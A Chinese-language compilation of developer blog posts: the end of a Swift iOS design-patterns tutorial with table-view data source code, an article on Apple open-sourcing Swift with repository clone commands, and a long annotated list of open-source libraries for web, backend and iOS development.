这样应用一启动就会去加载当前的专辑数据。因为 currentAlbumIndex 的默认值是 0 ，所以一开始会默认显示第一章专辑的信息。


接下来我们该去完善 DataSource 的协议方法了。你可以直接把委托方法写在类里面，当然如果你想让你的代码看起来更整洁一点，则可以放在扩展里。


在文件底部添加如下方法，注意一定要放在类定义的大括号外面，因为这两个家伙不是类定义的一部分，它们是扩展：


extension ViewController: UITableViewDataSource {
}

extension ViewController: UITableViewDelegate {
}



上面就是实现委托的方法 - 你可以把协议想象成是与委托之间的约定，只要你实现了约定的方法，就算是实现了委托。在我们的代码中， ViewController 需要遵守 UITableViewDataSource 和 UITableViewDelegate 的协议。这样 UITableView 才能确保必要的委托方法都已经实现了。


在 UITableViewDataSource 对应的那个扩展里加上如下方法：


func tableView(tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
  if let albumData = currentAlbumData {
    return albumData.titles.count
  } else {
    return 0
  }
}

func tableView(tableView: UITableView, cellForRowAtIndexPath indexPath: NSIndexPath) -> UITableViewCell {
  var cell:UITableViewCell = tableView.dequeueReusableCellWithIdentifier("Cell", forIndexPath: indexPath) as UITableViewCell
  if let albumData = currentAlbumData {
    cell.textLabel?.text = albumData.titles[indexPath.row]
      if let detailTextLabel = cell.detailTextLabel {
        detailTextLabel.text = albumData.values[indexPath.row]
      }
  }
  return cell
}



tableView(_:numberOfRowsInSection:) 返回需要展示的行数，和存储的数据中的 title 的数目相同。


tableView(_:cellForRowAtIndexPath:) 创建并且返回了一个单元格，上面有标题和对应的值。


注意：你可以把这些方法直接加在类声明里面，也可以放在扩展里，编译器不会去管数据源到底在哪里，只要能找到对应的方法就可以了。而我们之所以这样做，是为了方便其他人阅读。


此时再构建项目，你可以看到如下内容：





是的，显示成功啦！目前的项目源码在这里：BlueLibrarySwift-Part1，如果遇到什么问题你可以下载下来对比一下。


下一张我们会继续设计模式的内容，敬请期待！




原文链接：


-Introducing iOS Design Patterns in Swift – Part 1/2


 Apple 正式开源 Swift 语言及其核心库和包管理器

作者：Noodles

来源： Apple 正式开源 Swift 语言及其核心库和包管理器



                    
"Welcome to Swift!"



Swift 语言自去年发布以来，就成为了历史上发展最快的编程语言之一。本周四，Swift 团队宣布 Swift 编程语言正式开源，一同开源的还有 Swift 核心库及包管理器。



作为介绍文章，本文主要包括本次 Swift 开源项目的基本介绍和 SegmentFault 社区优质 Swift 资源汇总。

Swift Documentation

GitHub Swift 项目地址：https://github.com/apple/swift（目前已过万 star）



Swift 由多种不同的项目组成，提供一个构建软件的完整生态系统，由 Objective-C 和许多其他语言启发而生，但它本身并不是一个「C-衍生语言」。Swift 编译器项目解析 Swift 语法， 产生语义判断来帮助编写正确代码，利用 LLVM 生成机器指令。LLDB 项目是 first-class 调试器，包含一个 REPL 进行交互编程。Swfit 标准库项目包含所有核心类型和基础函数。

从文档构建开始上手 Swift：


	首先安装 Sphinx 文档生成器（在命令行直接运行 easy_install -U Sphinx 即可），然后就可以进入 docs，通过 make 命令来构建 Swift 文档。这样会将 docs 目录下的 .rst 直接编译进 docs/_build/html 里的 HTML 文件。


	文档构建之后，就可以通过 docs/_build/html/whitepaper/index.html 开始上手 Swift。你也可以阅读 docs/LangRef，从实现角度了解 Swift 是如何工作的。其实 docs 中的很多文档已经过时了 ╮(╯_╰)╭ ，当然最好的文档还是标准库（stdlib）啦~




之后，你就可以开始你的 Swift 之路了：https://github.com/apple/swift#swift-programming-language

另外，这里还有一些 Swift 相关的项目推荐，你也可以看一下：

git clone git@github.com:apple/swift.git swift
git clone git@github.com:apple/swift-llvm.git llvm
git clone git@github.com:apple/swift-clang.git clang
git clone git@github.com:apple/swift-lldb.git lldb
git clone git@github.com:apple/swift-cmark.git cmark
git clone git@github.com:apple/swift-llbuild.git llbuild
git clone git@github.com:apple/swift-package-manager.git swiftpm
git clone git@github.com:apple/swift-corelibs-xctest.git
git clone git@github.com:apple/swift-corelibs-foundation.git

除了开源 Swift 之外，Swift 团队今天还开源了另外一些相关的重要项目，其中包括 Swift 核心库和全新的 Swift 包管理器。

Swift 包管理器

Swift 包管理器是一个全新的项目，通过创建一个强大、用户友好的工具来构建和共享 Swift 代码，不过目前还处于早期开发阶段。 

GitHub 项目：apple/swift-package-manager

Swift 核心库

Swift 核心库项目是更高级别的 APIs 集合，基于 Swift 标准库而成，这些库提供的函数有：定位、网络基元、单元测试、用户参数等，此外还提供编码规范。

核心库基于 Apple 平台的框架命名分别为：Foundation，libdispatch 和 XCTest。

GitHub 项目：


	apple/swift-corelibs-foundation


	apple/swift-corelibs-xctest


	apple/swift-corelibs-libdispatch




社区优质 Swift 资源

SegmentFault 社区现已有大量和 Swift 相关的优质内容，此处给大家推荐部分。

文章


	《杂谈 Apple Swift》 by RobinQu


	《Swift 2.0 初探》 by DevTalking


	《Swift 中的文件和初始化》


	《在 Swift 中使用 C 语言的指针》


	《在 Swift 中构建布尔类型》


	《Swift 新特性 - 访问控制（Access Control）》


	《Swift 中的泛型编程》 by 王下邀月熊


	《Swift：Generators 与 Sequences 浅析》 by Cruise_Chan


	《基本的图算法：Swift 实现》


	《Swift 中枚举高级用法及实践》 by SwiftGG翻译组


	《Swift 反射 API 及用法》


	《Swift35/90Days - iOS 中的设计模式 (Swift 版本) 01》 by callmewhy


	《Swift37/90Days - iOS 中的设计模式 (Swift 版本) 02》




优质专栏


	SwiftGG翻译组：授权翻译国外 Swift 大牛的优秀 Swift 文章，绝对走心，绝对一手


	汪海的实验室：Swift 90 Days


	DevTalking：细心的 Swift 学习


	青楼烟雨：深度 iOS 学习指南




系列


	Swift 90 Days by callmewhy


	Auto Layout 使用心得 by JohnLui


	Swift + SpriteKit 中文教程 by 狂野之心




推荐


	
图灵访谈：


	《Swift 与 Cocoa 框架开发》作者 Paris Buttfield-Addison：你的编程生涯可以从 Swift 开始！


	Swift 开发者大会组织者梁杰：你的到来是一个重要的决定






	
重要活动：


	中国首届 Swift 开发者大会


	SegmentFault D-Day 2015 北京：iOS 站









 开发资源总结 2015-10-26 更新

作者：lyfeyaj

来源： 开发资源总结 2015-10-26 更新



                    
这是对自己这几年开发的一个总结，各种项目、资源、书籍、博客等。作为我自己的一个阶段性总结，也希望对大家有些帮助。
项目源地址(Github) lyfeyaj/awesome-resources
欢迎大家各种拍砖、纠错、最好是有 Pull Request

喜欢么？或者对您有用？那就在Github 上 Star 一下吧, 让更多人看到看这篇文章 ^_^

贡献方式


	Fork 这个项目


	不要直接在 Readme.md 中直接添加内容


	所有的文档都放在 docs 中, 请根据内容找到相应的文件并添加


	如果是 Mac 或者 Linux 用户, 请在提交前运行 ./build.sh 来自动生成 Readme.md 文件


	保存并提交


	新建一个 Pull Request
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Web 前端

Javascript


	parallel.js: 前后端通用的一个并行库


	zepto: 用于现代浏览器的兼容 jQuery 的库


	totoro: 稳定的跨浏览器测试工具


	TheaterJS: 一个用于模拟人输入状态的 JS 库


	stellar.js: 前端用于实现异步滚动效果的库，现已不再维护


	skrollr: 另一款实现一步滚动的开源库，使用人数众多，可实现各种狂拽酷炫掉渣天的前端效果，看真相


	Framework7: 前端框架，是开发人员可以基于 web 技术构建 IOS7 程序


	regulex: 用于生成 正则表达式 的可视化流程图


	markdown-it: 新型 Markdown 解析器，快速，支持插件


	multiline: 用于 Javascript 中的多行文本，类似于 Ruby 的 HERE Doc


	screenfull.js: 全屏插件，支持各大浏览器


	lunr.js: 类似于 Solr, 但是用于浏览器上的全文搜索引擎，可以为 JSON 创建索引，离线也可以使用


	jquery.hotkeys: jQuery 插件，用于绑定热键


	breach_core: Javascript 编写的 Browser (浏览器)


	octocard: 用于生成 Github 信息卡片的库


	github-cards: 用于生成 Github 信息卡片的库


	money.js: 轻量级货币转换库，web 和 node 皆可用


	accounting.js: 轻量级的数字、货币转换库


	javascript-algorithms: Javascript 实现的各种算法集合


	lazy.js: 类似于 underscore, 但是会延迟执行，某些场景下，性能会有很大的提升


	seajs: 前端模块加载器，解决模块化、依赖等问题


	jQuery-One-Page-Nav: 单页应用中一个用于处理导航栏的库


	js.js: Javascript 实现的 javascript JIT


	jquery-ui: jQuery 团队开发的 UI 相关的前端库，功能强大


	todomvc: 分别基于 AngularJS/EmberJS/Backbone等实现的 TODO List, 帮助开发者选择前端 MVC 库


	localForage: Mozilla 出品，用于离线存储，基于IndexedDB, WebSQL 或者 localStorage, 提供一致的接口


	EventEmitter: 浏览器版的 EventEmitter


	jquery.serializeJSON: jQuery 插件，用于将 form 表单序列化成 JSON 数据


	knockout: 前端 MVVM 框架，用于开发富前端应用


	mermaid: 可以根据文本生成流程图，类似于 Markdown 的语法


	js-sequence-diagrams: 另一款可以根据文本生成流程图的库，类似于 Markdown 的语法


	flow: 一个用来检测 Javascript 语法错误的库， Facebook 出品


	zoomooz: jQuery 插件，用来处理浏览器缩放


	fancyBox: 一个用于放大缩小图片、Web 内容或者多媒体元素的库，优雅大方


	mithril.js: 轻量型前端 MVC 框架，部分使用场景下性能优于 Angular.js 和 React


	backbone: 强大的前端 MVC 库，鼻祖级前端库，最初为了配合 Rails 来模块化前端应用，兼容性良好 (兼容到 IE6)，插件丰富，性能良好


	jquery.smartbanner: smartbanner 是从 IOS6 开始支持的一个新特性, 这个插件提供了对早期 IOS4/5 和 Android 的支持


	jquery.scrollTo: 在页面上以一个元素为起始以动画的方式移动(ScrollTo)到另一个元素， 支持回退等


	jScrollPane: 自定义的滚动条，让所有浏览器都显示一样的滚动条


	onepage-scroll: 提供类似于 iPhone6 展示页类似的效果，适用于单页应用，兼容到 IE8


	scrollMonitor: 前端插件用来监控元素的滚动事件(进入、退出等)，性能很好


	ScrollMagic: 神奇的滚动交互效果插件，可以在滚动的过程中设置各种各样的动态效果


	infinite-scroll: 滚动加载，滚动到最下到自动加载， Paul Irish 大神之作


	animatable: 仅仅依靠 border-width 和 background-position 实现的各种动态效果，看真相


	Fluidbox: 页面上内嵌图片的放大缩小效果，类似于 Medium 中的效果


	jquery-validation: jQuery 的一个插件，用于校验 Form 表单


	BigVideo.js: jQuery 的一个插件, 用于实现大背景(视频、图片)效果


	emscripten: 一款基于 LLVM, 可以将 C/C++ 转换成 Javascript 的工具，使得 Javascript 可以近乎 Native 的速度


	qrcode-generator: 各种语言的二维码生成工具


	device.js: 一个可以检测设备类型的工具，可以让我们根据不同的设备来为其定制响应的 Javascript 和 CSS


	jquery-qrcode: jQuery 插件，用来生成二维码


	Wookmark-jQuery: jQuery 的一个插件，可以用来实现瀑布流的效果


	isotope: 可以用来过滤、排列布局，实现美观的动态布局切换效果，Demo


	lazysizes: 功能强大的图片延迟加载工具，可以首先加载一个低质量的图片，然后再加载高质量的图片


	progressbar.js: 简洁美观的进度条，扁平化


	pigshell: 一个由 Javascript 实现的Shell, 将互联网当做一个大的文件系统, 通过 cd/ls/cat.....等命令, 可以访问 Facebook
/Twitter/Google Drive 等网络服务


	spectrum: Js实现的颜色选择器 (Colorpicker)


	jQuery.countdown: jQuery 倒计时插件


	summernote: WYSIWYG 富文本编辑器


	awesomplete: 非常轻型的一个自动补全 JS 库, 没有任何依赖, 配置简单, 美观


	switchery: IOS 7 上 Switch 的 JS 实现, 支持 IE8 及以上浏览器


	trix: Basecamp 公司出品的富文本编辑器，简洁小巧




Polyfills


	picturefill: 响应式的图片 <picture> polyfill, 支持srcset, sizes等


	Placeholders.js: 为不支持的 HTML5 的浏览器提供 Placeholder 支持


	prefixfree: 自动为 CSS 添加 Vender Prefix，把你从不停添加浏览器前缀的噩梦中解放出来


	history.js: History 接口的功能实现


	html5shiv: 为 IE 等老旧浏览器添加 HTML5 标签支持


	es6-shim: 为浏览器添加 ES6 支持


	es5-shim: 为浏览器添加 ES5 支持


	Respond: 为IE浏览器添加 media query 支持


	json3: 为旧浏览器添加 JSON 支持




HTML5 相关


	sensor.js: 在智能移动设备浏览器上，通过HTML5的api使用移动设备的功能。定位、运动、倾斜等


	hyhyhy: 用于创建 基于 HTML5 的 演示文稿


	swipebox: jQuery 插件，用于处理移动端的触摸事件


	FileAPI: 前端用户处理文件（拖放、多文件上传等）


	Sortable: 现代浏览器上用于实现元素拖拽排序的功能，支持 Meteor, AngularJS, React，不依赖 jQuery


	Swiper: 用于实现浏览器上的滑动切换效果，支持硬件加速


	matter-js: 2D 物理效果引擎，碰撞、弹跳等


	jQTouch: 用于辅助创建手机端的 Web 应用，支持主题、Zepto.js 等


	snabbt.js: 一个利用 Javascript 和 CSS transform 的 animation 库


	c3: 基于 D3 的图表库


	echarts: 企业级图表库，百度开发


	parallax.js: 一个用于响应智能手机 orientation 的库


	jQuery-Animate-Enhanced: jQuery 动画库的一个增强，用于现代浏览器


	wysihtml: 富文本编辑器，适用于现代浏览器


	slip: 一个通过滑动或者拖拽来操控列表的库


	evil-icons: 一个矢量图库，提供 Ruby/Node 等支持


	PhotoSwipe: JS 的一个图片展示库


	focusable: 是页面上一个元素高亮的库，有图有真相


	firefox.html: Firefox 在浏览器端的实现 —— HTML 版的 Firefox


	jquery-mobile: jQuery 团队开发的用于辅助手机端 web app 开发的库，基于 HTML5


	mobile-angular-ui: 基于angularjs和bootstarp的web app开发框架


	interact.js: 一个适用于现代浏览器的，用于处理 手势、拖放、缩放等的库


	rebound-js: 实现部分物理效果，Facebook 出品


	basket.js: 基于 LocalStorage 的资源加载器，可以用来缓存 script 和 css, 手机端使用速度快于浏览器直接缓存


	iscroll: 高性能的滚动(scroll)处理库，功能强大，支持各种事件，不依赖任何的库，且插件丰富, 大众点评的手机端列表滚动就是用这个库处理的


	metrics-graphics: 基于 D3 的图表库，简洁、高效，Mozilla 出品


	accessible-html5-video-player: Paypal 出品的 Video 播放器


	loading: 几种 Loading 效果，基于 SVG


	flippant.js: 一款能够漂亮的网页元素翻转效果库，代码许久不更新，不过作为源码学习还是不错的


	move.js: 基于 CSS3 的前端动画框架


	scrollReveal.js: 使元素以非常酷帅的方式进入画布 (Viewpoint)，看 Demo


	Modernizr: 一个用来检测 HTML5 和 CSS3 支持情况的库


	foundation: 另一款前端模版框架，类似于 Bootstrap


	Flat-UI: Bootstrap 的一款主题，简洁美观


	iCheck: 一款漂亮的 Checkbox 插件


	Swipe: 非常轻量级的一个图片滑动切换效果库, 性能良好, 尤其是对手机的支持, 压缩后的大小约 5kb


	slick: 功能异常强大的一个图片滑动切换效果库


	SocialButtons: 漂亮的社交按钮


	sweetalert: 一个非常美观的用于替换浏览器默认 alert 的库


	web-animations-js: Javascript 实现的 Web Animation API


	vivus: 可以动态描绘 SVG 的 JS 库, 支持多种动画


	plyr: 轻量, 小巧, 美观的 HTML5 视频播放器


	timesheet.js: 基于  HTML5 & CSS3 时间表


	slideout: 一个非常美观的侧滑菜单




AngularJS


	angular-masonry: Masonry 的 AngularJS 插件，用于瀑布流


	angular-schema-form: 根据 JSON 生成响应的 Form 表单


	restangular: Angular 中用来处理 RESTful API 的插件，可替代 $resource


	ng-cordova: Cordova 常用组件的 Angular 版本


	angular-translate: Angular 的国际化 (I18n)


	ng-inspector: Chrome 插件，用于调试 Angular


	angularjs-style-guide: AngularJS 代码风格


	ngReact: React 的 Angular 插件，可以在 Angular 中使用 React Components


	material: Google Material Design 效果的 Angular 实现


	angular-local-storage: Angular 插件, 提供了对 localStorage 的友好支持, 并对不支持的浏览器使用 cookie 优雅降级


	angular-filter: 一组有用的 Angular Filters


	bindonce: Angular 插件, 用于减少 Watcher 的数量, 提升性能




React


	react: React 框架源代码


	react-native: Facebook 出品的使用 React 开发 IOS 原生应用的框架


	react-hot-loader: 实时调整 React 组件效果


	grunt-react: React 的 Grunt 组件, 用于将 JSX 编译成 JS


	touchstonejs: 基于 React 的手机应用前端框架


	essential-react: 基于 React, ES6, React-Router的一个应用脚手架


	react-router: React 路由解决方案




CSS


	Hover: 基于 CSS3 的各种 鼠标悬停(hover)特效, 点击查看效果


	normalize.css: 一个用于重置浏览器内置样式的库


	Skeleton: 一个 CSS 相关的库，用于构建对手机友好的网站


	pure: Yahoo 出品的前端样式框架, 支持响应式


	materialize: 基于谷歌 Material Design 的响应式 CSS 框架


	Metro UI: 一个 Metro 风格的前端框架




ICON


	icono: 一款用纯 CSS 实现的图标库


	material-design-icons: Google 为 Material Design 出品的 ICON




Web 后端

Ruby


	ruby: Ruby 源代码


	spyke: 像使用 ActiveRecord 一样使用 RESTful API


	reactive_record: 根据 ActiveRecord 的 数据库 Schema 来反向生成 Model


	eventmachine: Ruby 中著名的事件驱动库


	faker: Perl 的 Data::Faker 库的一个 Ruby 实现，用于虚拟各种类型的数据


	amqp: RabbitMQ 的 Ruby 客户端，基于 EventMachine


	bunny: 另一个 RabbitMQ 的 Ruby 客户端


	thinking-sphinx: Sphinx 全文搜索的 ActiveRecord 插件


	ruby-vips: Ruby 的一款图像处理库, 基于 libvips


	statesman: Ruby 的一个状态机


	aasm: 另一款 Ruby 状态机


	paper_trail: 一款强大的用于记录 Model 变更的库，非常适合于 创建记录的版本和审查变更


	timers: Ruby 的一个 Timer 库，适合于配合事件使用


	gitlab-shell: gitlab 的命令行工具，用于替换 gitolite


	money: Ruby 的一个数字、货币转换库


	money-rails: Rails 的一个数字、货币转换库


	houston: APN 的 Ruby 库


	devise_invitable: Devise 的一个插件，用于邀请用户


	mail: Ruby 的处理邮件的库


	commander: Ruby 的命令行辅助库


	helios: 一个为 IOS 提供后端支撑的库


	middleman: 一个辅助制作静态网站的工具


	pundit: 一个处理认证的库


	refile: 一个处理图片上传的库


	sharedrop: Airdrop 的 HTTP5 实现，基于 WebRTC


	mailman: 处理接收邮件的库


	mruby: mini-ruby (light-weight ruby) 轻量级 Ruby 源代码


	sidekiq-status: Sidekiq 插件，用来监控任务状态


	postgres_ext: ActiveRecord 的插件，扩展了 PostgreSQL 相关的一些功能


	prawn: Ruby 的 PDF 编辑工具


	spring: Rails 的加载器，可以加速 Rails 开发


	rails: Rails 源代码


	newrelic-grape: Grape 的 Newrelic 插件


	newrelic_moped: Moped 的 Newrelic 插件


	rack-attack: 基于 Rack 的防攻击中间件


	rack-utf8_sanitizer: Rack 的 UTF8 序列化中间件


	redis-stat: Redis 监控工具


	rack-mini-profiler: Rack 中间件，用于分析各个性能指标，如 SQL, View渲染等


	memory_profiler: 用于分析内存占用


	gctools: 用于分析和优化 Ruby GC，可以配合 Unicorn 使用


	wicked_pdf: Rails 插件，用于生成 PDF


	request_store: Rack 中间件，用于保存仅单次请求有效的的全局变量，线程安全


	slim: 基于 Ruby 的前端模板引擎，类似于 Haml, 语法更简洁，据说相比于 Haml 会更快一些


	simplecov: Ruby 测试代码的覆盖率分析


	sass: CSS 框架，使得编写 CSS 更加容易和有趣，支持模块化、变量、运算、Mixin等


	slate: 静态的 API 接口文档生成工具，干净、整洁、对手持设备友好、单页应用、代码高亮


	ruby-destroyed_at: ActiveRecord 扩展，支持安全删除


	taps: 支持数据库导入导出 -> 原理是，对导出目标数据库建立一个服务器提供数据接口，然后对目标导入数据库进行数据导入，依赖 Sinatra 启动数据库接口服务


	meta-tags: 为 Rails 应用提供 SEO 优化支持


	logstash: 日志、时间管理工具


	rspec-rails: Rspec 的 Rails 插件


	nokogiri: 一个功能强大，性能良好的用于解析 HTML, XML 的工具，支持 XPath 和 CSS 选择器


	vcr: 一个测试辅助库，纪录一组 HTTP 请求交互，并作为测试重现


	factory_girl: 一个用来准备测试数据的库


	mongoid_paranoia: Mongoid 软删除功能, 通过添加一个 destroyed_at


	treat: Ruby的自然语言处理


	MacGap1: 一款工具可以将 HTML/CSS/JS 网络应用打包成 Mac App


	ffi: 可以帮助 Rubyer 开发基于 C 的 ruby 库, 提供了一套接口


	api_cache: 可以为外部接口添加缓存的工具


	ckeditor: Rails 的 Ckeditor 插件


	mailboxer: Rails 插件, 可以发送消息/邮件


	gc_tracer: Ruby GC 跟踪器


	carrierwave-qiniu: Carrierwave 的 七牛 插件


	mongoid-ancestry: Mongoid Ancestry 实现


	countries: 一个库包含全球各个国家的信息 (ISO 3166 (countries and states/subdivisions ), ISO 4217 (currency), and E.164 (phone numbers))


	chruby: 切换 Ruby 的版本 和 可以和 ruby-install 配合


	ruby-install: 用来安装 Ruby, JRuby, Rubinius, MagLev 或者 MRuby 环境


	caphub: 基于 capistrano 的集中发布管理实例


	chruby: capistrano 的 chruby 支持


	byebug: Ruby 2 的一个调试器


	opal: Ruby -> Javascript 代码转换工具


	volt: Ruby 的 一个 Web 框架, 使用 opal 使得前后端均可以用 Ruby 编写


	tunemygc: 用于分析 Ruby 的 GC, 并给出最合适的配置


	parallel: Ruby 的一个并行运算库


	http.rb: Ruby 的一个 HTTP 库, 提供了链式的语法和完全的 Streaming 支持


	has_scope: 用于在控制器中钩子中使用Scope


	linguist: Github 官方出品, 用于识别编程语言, 以及代码高亮


	markup: Github 官方出品, 用于解析各类 markup 文件




Python


	django: 一个全栈式的 web 框架, 类似于 Rails


	django-rest-framework: django 的 一个  Rest API 框架


	wifiphisher: WIFI 中间人钓鱼攻击工具，获取用户名密码


	python-prompt-toolkit: Python 的交互命令行工具，提供代码补全、高亮等


	redis-rdb-tools: Redis 的 dump.rdb 文件解析器，用于分析内存使用、导出 JSON 以及 比较不同 rdb 文件差异


	supervisor: 类UNIX下用于控制进程的一个开源库，通过配置可以监控、自动重启各种服务


	pyenv: Python 版本管理工具，类似于 RVM


	pyspider: 一个爬虫系统




Node.js


	Node-Webkit.js: Node-Webkit 是基于Chromium 和 node.js的运行环境，可以用来创建桌面应用程序


	request: 基于 Node.js 的用于网络请求的库，使用简单，功能强大


	hapi: 一个配置优先的 web 框架，hapijs.com


	psi: 用于分析页面速度的工具，支持命令行


	gulp: 基于 Node.js 的流式构建系统


	orchestrator: 一个可以并行执行任务和依赖的库


	johnny-five: 用 Javascript 控制机器人


	popcorn-js: Mozilla 的一个开源项目，允许开发者基于 HTML5 音视频的时间线添加互动元素，比如注释，字幕，甚至动画


	connect: Node 中间件支持，注：Express 4 以下依赖此库，从 4 开始支持全新的 Router，类似于 Rails Engine


	faker.js: Faker 的 Node 实现，用于生成假数据


	chart: 用于终端生成 ASCII 图表


	drawille: 用于终端生成 ASCII 图形


	sparkly: spark.sh 的一个 Javascript 实现，终端生成 sparklines


	node-inspector: Node 的调试神器，使用方法，用 node-debug 代替 node 启动服务，并在你想调试的地方输入 debugger


	NodeOS: 基于 Node 的操作系统


	pdfkit: Node 和 浏览器均可以使用的，用于生成 PDF 的库


	empty-trash: 清空垃圾桶


	trash: 安全删除文件 -> 将文件放入垃圾桶


	rabbit.js: RabbitMQ 的 Node 客户端


	htmlbars: 基于 Handlebars 的一个变种，可以编写直接操作 DOM 的辅助方法


	sharp: Node 的一个图像处理的库，基于 libvips


	debug: 一个用于在 console 或者 浏览器输出日志，方便与 Debug 的工具


	github-contributions: 一个好玩的库，用于在 github 的 contribution calendar 上输出你想要的文字或者图案


	hexo: 基于 Node 的静态博客，类似于 Octopress


	GhostScroll: Ghost 的一个主题


	ghost-themes: 多个 Ghost 主题


	TermKit: 一个基于 Chrome 和 Node 的终端应用


	h5ai: 配置简单，美观的 http 静态目录，支持 Nginx、Apache 等


	http-server: Http 静态服务器，基于 Node, 配置简单


	node-apn: Node 的 APN (Apple Push Notification) 模块


	chai: Node 的 TDD/BDD 测试框架


	io.js: Node 的一个分支，更加活跃，开发更激进，最终的目的是合并入 Node.js


	immutable-js: 不可改变的集合, 前后端通用


	node-migrate: Node 的数据库迁移框架


	pomelo: Node 游戏服务器框架，网易开发


	blessed-contrib: 构建终端信息板 (Dashboard) 利器


	node-notifier: Node 模块，可以发送本地通知，支持 Mac/Windows/Linux


	prerender: 用于预解析网站，主要解决单页应用(angular.js ember.js backbone.js 等)的搜索引擎 SEO 支持


	spider: 一种新语言，目标是编译成 Javascript


	jsdoc: 用来生成 Javascript API 文档的库


	browser-sync: 多浏览器(多设备)同步库，监控 CSS/Javascript/HTML 的变更并通知到浏览器；监控浏览器的操作，如滚动、点击等事件，同步到所有的开发设备。前端开发利器！


	tmi: 基于 Node 的命令行工具, 用于计算网站图片的权重，以及那些图片可以进一步优化


	6to5: 转换 ES6 代码为 ES5，提前使用 ES6 语法带来的各种畅快！


	js-xss: 根据白名单过滤HTML(防止XSS攻击)


	PM2: Node 进程管理，内置负载均衡，提供自动重启，热启动等功能，适合在生产环境下使用


	sinopia: 私有 NPM 服务器


	validator.js: 校验工具(url，邮箱，整数等), 内置几十种校验方法，前后端通用


	wechat: 微信公共平台消息接口服务中间件


	superagent: 更 NB 的 Ajax 请求库，号称比 jQuery 更好用，前后端通用


	cheerio: Server 端的 jQuery, 相同的 API，支持 DOM 操作等


	node-restify: Node.js 的 REST API 框架，从 Express 中借鉴了很多，并去除了 render 等方法


	ejs: Node.js 的前端模板引擎, 使用 <%=  %> 直接在 HTML中嵌入，简单易学


	Bluebird: 另一款实现 Promises/A+ 的库，相比于 Q，性能卓越


	node-amqp: RabbitMQ 的 Node 客户端


	Knex: SQL 生成器，支持 PostgreSQL, MySQL 和 SQLite3， 用于和 Bookshelf 配合使用


	node_redis: Node 的 Redis 客户端


	elasticsearch-js: ElasticSearch 的 Node 客户端


	Passport: Node 的认证中间件，支持 Express, 组件丰富, 支持多种认证策略，OAuth


	everyauth: 认证库，支持多种策略，OAuth，支持 Express


	node-oauth: Node 的 OAuth 支持


	restler: 一个 Node REST 客户端


	oauth2orize: Node 的服务端 OAuth支持


	Mocha: Node 的 TDD/BDD 测试框架


	nodemon: 开发时使用, 自动检测文件变更, 并重启服务


	hiredis-node: hiredis 的 Node 模块


	node-jsonwebtoken: JsonWebToken 的 Node.js 实现


	js2coffee: 将 Javascript 转换成 CoffeeScript 的一个工具


	grunt-injector: Grunt 的 JS/CSS 自动注入工具, 可以自动将 JS/CSS 的引用注入到 HTML 文件中


	NativeScript: 使用 Javascript 来编写 IOS / Android 以及更多平台原生软件的库


	rosie: 用于生成 Javascript 对象, 方便测试, 类似于 factory_girl


	jsduck: javascript 文档生成工具


	shelljs: shell 命令的 Node.js 封装, 支持 local 和 global 两种模式


	daemon.node: 以后台守护进程启动 node 应用的最小化实现, 可作为学习源码使用


	blessed: Node 的命令行界面工具, 一共一组高级接口支持命令行绘图, 动画等


	node-spdy: Node 的 SPDY 支持


	node-fibers: Node 的 Fiber 实现


	fast.js: 对 JS 的一些方法的重新实现, 提供更高的性能


	log4js-node: Log4js 的 Node.js 版


	https://github.com/andrewplummer/Sugar: Javascript 原生类型的功能扩充(Monkey Patch), 提供了各种语法糖


	shelljs: 各种 Shell 命令的 Node 实现


	Meteor: 一个基于 Node.js 的平台，用于开发实时网页和移动应用


	Koa: Node.js web 框架，Express 原班人马打造，推崇极简，通过 generator 实现异步控制




Express


	express-admin: Express 的后端，支持(MySQL, MariaDB, SQLite, PostgreSQL)


	grant: Express 认证中间件(middleware)




Erlang


	kerl: 版本管理器, 用于管理 Erlang/OTP 实例, 类似于 RVM


	rabbitmq-server: RabbitMQ 消息队列 源码


	rabbitmq-tutorials: RabbitMQ 教程


	ejabberd: XMPP 协议的开源实现，用于及时聊天软件，Whatsapp 的聊天核心就是这个软件


	elixir: 基于 Erlang VM 的一个语言，语法类似于 Ruby


	phoenix: 基于 Elixir 语言的 web 框架




Java

	elasticsearch: 开源的分布式搜索引擎，社区活跃，支持强大




C/C++


	json: C++ 的 JSON 库


	simple-rtmp-server: 运营级的互联网直播服务器集群


	mozjpeg: JPEG 图片解码压缩，Mozilla 出品


	libsass: SASS 的 C++ 实现


	QQStars: 基于 WebQQ 协议和 QT 开发的 QQ 客户端


	caffe: 一个关于数据挖掘的库


	fastsocket: 一个高扩展性的 Socket 库，在多核设备上有良好的表现，新浪出品


	C: 将 C 语言校本化的一个工具, 可以直接编写 C 语言作为脚本使用




Go


	delve: Go 调试器


	go: Go 源码


	beego: 国内大牛开发的 Web 框架


	revel: 全栈 Web 框架


	martini: 另一款 Web 框架


	pgweb: PostgreSQL 的 Web 数据库浏览器




Lua


	lua-nginx-module: 一个 Nginx 组件包, 可以使用 Lua 来开发 Nginx 插件, 将之变成一个全功能的 Web 应用服务器


	kong: 一个专注于可扩展, 高性能以及可靠性的 Restful API 框架




IOS 或 OSX


	Harpy: 用于检测应用更新


	CRToast: 现代、时髦的 IOS 通知提醒库


	Ono: IOS 或者 OSX 中用于处理 XML & HTML 的库


	CocoaMarkdown: IOS 或者 OSX 中用于解析或者渲染 Markdown 的库


	Haneke: 一个用于缓存图片的 IOS 库，无需配置


	HanekeSwift: Haneke 的 swift 版本


	RFQuiltLayout: 一个用于实现 IOS 端瀑布流的库


	kxmenu: 用于 IOS 上实现垂直菜单，支持上下左右等方向


	peertalk: IOS 或者 OSX 中用于处理 USB 通信


	REMenu: IOS 中用于实现下拉菜单效果


	RESideMenu: IOS 中侧边栏的异步效果实现，类似于 QQ 中的侧边栏


	AwesomeMenu: IOS 中用于实现类似于 Path 应用菜单的效果，各种酷炫


	Alamofire: NFNetworking 的 Swift 版本


	Alcatraz: Xcode 的包管理工具


	JBChartView: IOS 的图表库


	PNChart: 基于 IOS 的强大图表库


	GPUImage: 基于 GPU 图片、视频处理库


	shenzhen: 一个用于构架和发布 IOS 的命令行工具


	ZXingObjC: ZXing(二维码、条形码扫描库) 的 Objective-C 实现


	PKRevealController: IOS 上一个非常优秀的，用于实现侧边栏的库


	KIF: IOS 功能测试框架


	Bolts-iOS: 为了加快开发速度的相对低层级的库集合， Parse 和 Facebook 出品


	MaterialKit: 基于 Swift 实现的 Google Material Design 效果


	Carthage: 一个简单的、去中心化的 Cocoa 依赖管理库, Swift 编写，仅用于 IOS8.0 及 以后的系统


	JSONModel: 智能化的数据模型，有了它，再也不用手动解析JSON数据啦


	KZPlayground: 提供对 Objective-C 的 Playground 支持，比 Swift 更快


	RMStore: 轻量级应用内购买库，集成方便，使用简单，方便项目中快速支持应用内购买


